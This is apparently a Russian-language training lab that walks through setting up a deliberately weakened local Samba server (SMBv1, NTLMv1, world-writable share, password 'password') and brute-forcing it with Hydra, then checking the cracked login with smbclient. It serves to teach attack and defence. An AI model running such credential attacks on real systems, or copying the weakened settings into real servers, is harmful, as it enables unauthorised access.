Атака на службы SMB с помощью Hydra

HydraBeginner
Практиковаться сейчас

Введение

В этом лабораторном практикуме вы узнаете, как атаковать службы SMB (Server Message Block) с помощью Hydra, мощного инструмента для взлома паролей. Данный практикум фокусируется на демонстрации методов выявления и эксплуатации слабых учетных данных на сервере SMB.

Вы начнете с настройки локального сервера SMB с использованием Samba, включая установку необходимых пакетов, настройку файла smb.conf для создания общего каталога и установку соответствующих разрешений. Затем вы подготовите списки пользователей и паролей для использования в атаке Hydra. Наконец, вы запустите атаку Hydra на SMB и проверите результаты, чтобы увидеть, были ли успешно взломаны какие-либо учетные данные.

Настройка локального сервера SMB

На этом шаге вы настроите локальный сервер SMB (Server Message Block) с использованием Samba. SMB — это протокол обмена файлами по сети, позволяющий приложениям на компьютере получать доступ к файлам и ресурсам на удалённом сервере. Samba — это свободная программная реализация сетевого протокола SMB. Это обеспечит цель для вашей атаки Hydra на SMB на последующих этапах.

Сначала установим Samba. Откройте терминал в каталоге ~/project.

sudo apt update
sudo apt install samba -y

Эта команда обновляет список пакетов и затем устанавливает пакет Samba. Флаг -y автоматически отвечает «да» на все запросы во время установки.

Далее необходимо настроить Samba. Начнём с резервного копирования исходного конфигурационного файла.

sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.bak

Теперь создадим новый, чистый конфигурационный файл, перезаписав существующий. Этот подход гарантирует отсутствие конфликтов с настройками Samba по умолчанию для Ubuntu.

Скопируйте следующую команду и выполните её в терминале. Убедитесь, что команда скопирована правильно.

sudo tee /etc/samba/smb.conf > /dev/null << 'EOF'
[global]
   workgroup = WORKGROUP
   server string = Samba Server
   netbios name = fileserver
   security = user
   map to guest = never
   ## Отключить анонимный доступ
   restrict anonymous = 2
   ## Явно включить SMBv1 и NTLMv1 для Hydra
   server min protocol = NT1
   client min protocol = NT1
   ntlm auth = ntlmv1-permitted
   ## Связь только с localhost
   interfaces = 127.0.0.1
   bind interfaces only = yes
   ## Ведение журнала
   log file = /var/log/samba/log.%m
   max log size = 1000
   logging = file
   debug level = 3

[share]
   path = /home/labex/project/share
   browsable = yes
   writable = yes
   guest ok = no
   read only = no
   valid users = labex
EOF

Эта команда полностью заменит содержимое /etc/samba/smb.conf нашим чистым конфигурационным файлом.

Важные настройки:

  • map to guest = never — предотвращает анонимный доступ гостя
  • restrict anonymous = 2 — полностью отключает анонимный доступ
  • server min protocol = NT1 и client min protocol = NT1 — включает SMBv1 для совместимости с Hydra
  • ntlm auth = ntlmv1-permitted — разрешает аутентификацию NTLMv1 для тестирования
  • interfaces = 127.0.0.1 и bind interfaces only = yes — ограничивает доступ только к localhost
  • guest ok = no — отключает доступ гостя к общей папке
  • valid users = labex — ограничивает доступ только определённому пользователю

Почему мы перезаписываем весь файл:

  • Избегаем конфликтов с настройками Samba по умолчанию Ubuntu
  • Обеспечиваем чистую, минимальную конфигурацию, оптимизированную для тестирования с Hydra
  • Устраняет потенциальные проблемы с дублированием или конфликтующими директивами
  • Предоставляет согласованную стартовую точку для всех пользователей

Эта конфигурация гарантирует, что Hydra сможет правильно обнаруживать попытки аутентификации без помех от анонимного доступа.

Теперь создадим общую папку.

mkdir ~/project/share
sudo chmod 777 ~/project/share

Это создаёт папку с именем share в вашем каталоге ~/project и устанавливает её права доступа на 777, что означает, что все имеют права чтения, записи и выполнения. Примечание: В реальной ситуации вы захотите использовать более ограниченные права доступа. Для простоты в этой лабораторной среде мы используем 777.

Далее необходимо добавить пользователя Samba. Этот пользователь будет использоваться для аутентификации на сервере SMB. Вы будете использовать пользователя labex, который уже существует в системе. Сначала установите пароль Samba для пользователя labex.

sudo smbpasswd -a labex

Вам будет предложено ввести новый пароль для пользователя labex. Введите password и подтвердите его.

New SMB password:
Retype new SMB password:
Added user labex.

Наконец, перезапустите службу Samba, чтобы применить изменения.

sudo /etc/init.d/smbd restart
sudo /etc/init.d/nmbd restart

Вы должны увидеть вывод, похожий на этот:

 * Stopping SMB/CIFS daemon smbd                                        [ OK ]
 * Starting SMB/CIFS daemon smbd                                        [ OK ]
 * Stopping NetBIOS name server nmbd                                    [ OK ]
 * Starting NetBIOS name server nmbd                                    [ OK ]

Эта команда проверит вашу конфигурацию Samba на наличие синтаксических ошибок и покажет активную конфигурацию. Вы должны увидеть вывод, подтверждающий ваши настройки без ошибок.

Теперь ваш локальный сервер SMB настроен с надлежащими настройками безопасности. Вы создали общую папку с именем share и добавили пользователя labex с паролем Samba. Конфигурация оптимизирована для корректной работы с атаками Hydra.

Подготовка списков пользователей и паролей

На этом шаге вы создадите списки пользователей и паролей, которые Hydra будет использовать для атаки на SMB. Эти списки будут содержать потенциальные имена пользователей и пароли, которые Hydra будет пытаться использовать для аутентификации на сервере SMB.

Сначала создадим список пользователей. Используйте nano, чтобы создать файл с именем users.txt в каталоге ~/project.

nano ~/project/users.txt

В этот файл добавьте следующие имена пользователей, по одному на строку:

labex
admin
guest
user
test
root

Нажмите Ctrl+X, затем Y, затем Enter, чтобы сохранить файл.

Теперь создадим список паролей. Используйте nano, чтобы создать файл с именем passwords.txt в каталоге ~/project.

nano ~/project/passwords.txt

В этот файл добавьте следующие пароли, по одному на строку:

password
123456
labex
admin
guest

Нажмите Ctrl+X, затем Y, затем Enter, чтобы сохранить файл.

Это простые списки для демонстрационных целей. В реальных сценариях вы бы использовали гораздо более длинные и сложные списки.

Теперь у вас есть два файла: users.txt, содержащий список имён пользователей, и passwords.txt, содержащий список паролей. Hydra будет использовать эти списки на следующем шаге для попытки взлома пароля сервера SMB.

Запуск атаки Hydra на SMB

На этом шаге вы будете использовать Hydra для проведения атаки методом грубой силы на сервер SMB, настроенный на первом шаге. Hydra — это инструмент для взлома логинов, работающий параллельно и поддерживающий множество протоколов.

Откройте терминал в каталоге ~/project.

Теперь запустим команду Hydra для атаки на службу SMB.

hydra -L ~/project/users.txt -P ~/project/passwords.txt 127.0.0.1 smb

Рассмотрим эту команду:

  • hydra: Команда для запуска инструмента Hydra.
  • -L ~/project/users.txt: Указывает путь к файлу со списком пользователей.
  • -P ~/project/passwords.txt: Указывает путь к файлу со списком паролей.
  • 127.0.0.1: IP-адрес целевого сервера SMB (в данном случае — локальный хост).
  • smb: Указывает службу для атаки (SMB).

Hydra начнёт попытки входа на сервер SMB, используя имена пользователей и пароли из предоставленных списков. Он будет перебирать все комбинации до тех пор, пока не найдёт корректные данные или не исчерпает все возможности.

При правильно настроенном сервере SMB (шаг 1) вы увидите успешное обнаружение учетных данных:

Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-30 10:52:16
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 30 login tries (l:6/p:5), ~30 tries per task
[DATA] attacking smb://127.0.0.1:445/
[445][smb] host: 127.0.0.1   login: labex   password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-30 10:52:17

Интерпретация вывода:

  • Строка [445][smb] host: 127.0.0.1 login: labex password: password показывает, что Hydra успешно обнаружил корректные учетные данные.
  • Имя пользователя: labex
  • Пароль: password
  • В сводке указано "1 valid password found", подтверждая успешную атаку.

Важное замечание: Эта атака выполняется на локальном сервере SMB в учебных целях. Сервер специально настроен для демонстрации работы Hydra. В производственных средах SMBv1 следует отключить по соображениям безопасности. Несанкционированные атаки на удалённые системы являются незаконными и неэтичными.

Выполнение команды может занять некоторое время, в зависимости от размера списков пользователей и паролей. Следите за выводом, чтобы увидеть, когда Hydra успешно взломает пароль.

Проверка результатов атаки на SMB

На этом шаге вы проанализируете результаты атаки Hydra на SMB, чтобы подтвердить успешное обнаружение учетных данных и проверить их подлинность, подключившись к общей папке SMB.

После выполнения команды Hydra (и, возможно, применения шагов по устранению неполадок) на предыдущем шаге вы должны увидеть результат, похожий на этот:

[445][smb] host: 127.0.0.1   login: labex   password: password
1 of 1 target successfully completed, 1 valid password found

Эта строка указывает, что Hydra успешно взломал учетные данные SMB:

  • Имя пользователя: labex
  • Пароль: password

Проверка взломанных учетных данных:
Чтобы подтвердить, что взломанные учетные данные действительны, вы можете использовать команду smbclient для подключения к общей папке SMB. Сначала установите её, если она ещё не установлена:

sudo apt update
sudo apt install smbclient -y

Вы должны увидеть вывод, похожий на этот:

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  libsmbclient
The following NEW packages will be installed:
  libsmbclient smbclient
0 upgraded, 2 newly installed, 0 to remove and 252 not upgraded.
...
Setting up smbclient (2:4.15.13+dfsg-0ubuntu1.6) ...

Теперь используйте взломанные учетные данные для подключения к общей папке SMB:

smbclient //127.0.0.1/share -U labex%password

Рассмотрим эту команду:

  • smbclient: Утилита командной строки для доступа к ресурсам SMB/CIFS на серверах.
  • //127.0.0.1/share: Путь к общей папке SMB. 127.0.0.1 — IP-адрес вашего локального сервера SMB, а share — имя общей папки.
  • -U labex%password: Указывает имя пользователя (labex) и пароль (password), взломанные Hydra. Имя пользователя и пароль разделены знаком %.

Если подключение успешно, вы увидите приглашение smb:\>, что указывает на успешное подключение к общей папке SMB с использованием взломанных учетных данных:

Try "help" to get a list of possible commands.
smb: \>

Затем вы можете ввести exit и нажать Enter, чтобы выйти из приглашения smbclient:

exit

Это успешное подключение подтверждает, что:

  1. Hydra успешно взломал учетные данные SMB.
  2. Комбинация имени пользователя и пароля действительна.
  3. Атака была эффективной против настроенного сервера SMB.
  4. Взломанные учетные данные предоставляют доступ к общей папке.

Последствия для безопасности:
Эта успешная атака демонстрирует важность:

  • Использования сильных и сложных паролей.
  • Реализации политики блокировки учетных записей.
  • Мониторинга атак методом грубой силы.
  • Отключения ненужных служб и протоколов.
  • Регулярных аудитов безопасности и пентестов.

Резюме

В этом лабораторном практикуме вы изучили, как атаковать службы SMB с помощью Hydra, мощного инструмента для взлома паролей. Вы начали с настройки локального сервера SMB с помощью Samba, что включало установку необходимых пакетов, настройку файла smb.conf для создания общей папки с поддержкой SMBv1 и NTLMv1 для совместимости с Hydra, а также установку соответствующих разрешений.

Затем вы подготовили списки пользователей и паролей (users.txt с 6 именами пользователей и passwords.txt с 5 паролями), которые будут использоваться в атаке Hydra. С правильно настроенным сервером SMB из шага 1 атака Hydra на SMB успешно взломала учетные данные SMB, найдя корректную комбинацию имени пользователя labex и пароля password.

Вы подтвердили успех атаки, используя smbclient для подключения к общей папке SMB с обнаруженными учетными данными, продемонстрировав, что взломанные учетные данные обеспечивают легитимный доступ к общей папке.

Этот практикум эффективно продемонстрировал:

  1. Возможности Hydra: Как Hydra может систематически проверять комбинации имен пользователей и паролей против служб SMB.
  2. Правильная настройка: Важность правильной настройки целевой службы для тестирования безопасности.
  3. Методология атаки методом грубой силы: Процесс подготовки списков слов и выполнения автоматизированных атак.
  4. Проверка атаки: Важность подтверждения успешного обнаружения учетных данных.
  5. Настройка безопасности: Как правильная настройка SMB предотвращает анонимный доступ, позволяя при этом проводить легитимное тестирование аутентификации.

Основные уроки по безопасности:

  • Слабые пароли уязвимы для атак методом грубой силы.
  • Правильная настройка службы имеет решающее значение как для безопасности, так и для тестирования.
  • Отключение анонимного доступа гарантирует четкие результаты аутентификации.
  • Автоматизированные инструменты, такие как Hydra, могут быстро проверить множество комбинаций учетных данных.
  • Регулярное тестирование безопасности помогает выявить уязвимости до того, как это сделают злоумышленники.

Важно: Эта атака была выполнена на локальном сервере SMB, настроенном специально для учебных целей. В производственных средах SMBv1 следует отключить, следует применять политику сильных паролей и проводить мониторинг для обнаружения атак методом грубой силы. Выполнение несанкционированных атак на удаленные системы является незаконным и неэтичным.